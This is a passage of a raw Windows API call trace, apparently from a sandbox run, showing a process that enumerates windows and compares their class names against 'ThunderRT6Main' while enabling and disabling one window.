lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.662] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0079.662] GetClassNameA (in: hWnd=0x10060, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.662] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.662] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.662] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0079.662] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.662] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.662] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.662] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0079.662] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.662] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.662] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.662] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0079.662] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.662] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.662] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.662] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0079.662] GetClassNameA (in: hWnd=0x10078, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.662] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.662] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.662] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0079.663] GetClassNameA (in: hWnd=0x10056, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0079.663] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0079.663] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.663] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0079.663] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.663] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.663] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.663] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0079.663] GetClassNameA (in: hWnd=0x10058, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0079.663] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0079.663] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.663] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0079.663] GetClassNameA (in: hWnd=0x10050, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0079.663] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0079.663] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.663] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0079.663] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.663] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.663] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0079.663] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0079.663] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0079.663] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0079.663] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.663] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0079.663] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0079.663] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0079.663] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0079.664] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0079.664] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0079.664] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0079.664] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0079.664] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0079.664] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0079.664] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0079.664] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0079.664] GetClassNameA (in: hWnd=0x30154, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0079.664] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0079.664] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0079.664] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0079.664] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0079.664] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0079.664] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0079.664] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0079.664] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0079.664] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0079.664] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0079.664] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0079.664] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0079.664] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0079.664] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0079.664] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0079.664] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0079.664] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0079.664] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0079.664] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0079.664] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x20360 [0079.664] GetClassNameA (in: hWnd=0x20360, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0079.664] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0079.665] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0079.665] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0079.665] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0079.665] IsWindowEnabled (hWnd=0x20360) returned 1 [0079.665] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0079.665] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0079.665] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0079.665] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0079.665] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0079.665] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0079.665] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0079.665] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0079.665] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0079.665] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0079.665] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0079.665] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0079.665] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0079.665] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0079.665] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0079.665] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0079.665] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0079.665] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0079.665] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0079.665] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0079.665] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0079.666] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0079.666] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0079.666] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0079.666] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0079.666] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0079.666] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0079.666] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0079.666] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0079.666] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0079.666] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0079.666] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0079.666] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0079.666] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0079.666] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0079.666] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0079.666] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0079.666] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0079.666] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0079.666] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0079.666] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0079.666] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0079.666] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0079.667] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0079.667] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0079.667] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0079.667] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0079.667] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0079.667] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x7d9f7f0 [0079.668] IMalloc:Free (This=0x7fefecb5380, pv=0x7d9f7f0) [0082.446] GetAsyncKeyState (vKey=27) returned 0 [0082.446] GetCurrentThreadId () returned 0xbdc [0082.446] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0082.446] GetDesktopWindow () returned 0x10010 [0082.447] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0082.447] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0082.447] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0082.447] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0082.447] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0082.447] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0082.447] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0082.447] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0082.447] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0082.447] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0082.447] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0082.447] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0082.447] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0082.447] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0082.447] IsWindowEnabled (hWnd=0x20360) returned 0 [0082.447] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0082.447] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0082.447] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0082.447] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0082.447] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0082.447] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0082.447] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0082.447] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0082.447] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0082.447] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0082.447] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0082.448] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0082.448] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0082.448] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0082.448] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0082.448] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0082.448] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0082.448] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0082.448] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0082.448] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0082.448] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0082.448] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a10a0 [0082.448] IMalloc:Free (This=0x7fefecb5380, pv=0x76a10a0) [0082.544] GetCurrentThreadId () returned 0xbdc [0082.544] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0082.544] GetDesktopWindow () returned 0x10010 [0082.545] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0082.545] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0082.545] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0082.545] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0082.545] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0082.545] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0082.545] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0082.545] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0082.545] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0082.545] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0082.545] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0082.545] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0082.545] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0082.545] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0082.545] IsWindowEnabled (hWnd=0x20360) returned 1 [0082.545] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0082.545] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0082.546] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0082.546] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0082.546] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0082.546] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0082.546] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0082.546] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0082.546] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0082.546] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0082.546] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0082.546] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0082.546] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0082.546] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0082.546] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0082.546] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0082.546] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0082.546] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0082.546] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0082.546] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0082.546] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0082.546] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0082.546] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0082.546] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0082.546] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0082.546] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0082.546] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0082.547] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0082.547] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0082.547] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0082.547] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0082.547] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0082.547] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0082.547] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0082.547] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0082.547] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0082.547] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0082.547] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0082.547] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0082.547] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0082.547] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0082.547] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0082.547] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0082.547] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0082.547] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0082.547] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0082.547] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0082.547] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0082.547] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0082.547] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0082.547] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0082.547] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0082.547] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0082.547] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0082.547] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0082.548] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0082.548] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.548] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.548] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0082.548] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0082.548] GetClassNameA (in: hWnd=0x10260, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Waiting_window") returned 14 [0082.548] lstrcmpA (lpString1="Waiting_window", lpString2="ThunderRT6Main") returned 1 [0082.548] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0082.548] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0082.548] GetClassNameA (in: hWnd=0x202bc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0082.548] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0082.548] GetWindowThreadProcessId (in: hWnd=0x202bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0082.548] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0082.548] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0082.548] GetClassNameA (in: hWnd=0x10292, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0082.548] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0082.548] GetWindowThreadProcessId (in: hWnd=0x10292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0082.548] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0082.548] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0082.548] GetClassNameA (in: hWnd=0x300e6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0082.548] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0082.548] GetWindowThreadProcessId (in: hWnd=0x300e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0082.548] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0082.548] GetClassNameA (in: hWnd=0x300be, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0082.548] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0082.548] GetWindowThreadProcessId (in: hWnd=0x300be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0082.548] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0082.548] GetClassNameA (in: hWnd=0x300e4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0082.548] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0082.549] GetWindowThreadProcessId (in: hWnd=0x300e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0082.549] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0082.549] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0082.549] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0082.549] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0082.549] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0082.549] GetClassNameA (in: hWnd=0x300d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0082.549] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0082.549] GetWindowThreadProcessId (in: hWnd=0x300d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0082.549] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0082.549] GetClassNameA (in: hWnd=0x400b4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0082.549] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0082.549] GetWindowThreadProcessId (in: hWnd=0x400b4, 